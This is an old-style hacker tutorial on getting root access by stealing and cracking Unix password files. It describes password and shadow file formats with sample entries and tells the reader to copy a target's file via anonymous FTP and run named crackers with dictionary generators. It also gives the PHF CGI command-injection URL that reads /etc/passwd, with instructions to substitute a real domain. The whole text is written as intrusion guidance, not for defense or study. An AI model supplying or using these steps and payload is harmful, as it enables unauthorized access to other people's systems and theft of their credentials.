Getting the Password File Through FTP

Well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted password from a shadowed
password file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system.

1.The first step that you would take is to download or copy the file.

2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recommend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking program you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .

3. You then start up the cracker and follow the directions that it gives you.


The PHF Technique:

Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But still i thought that you should know about it. So I decided to include it.

The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).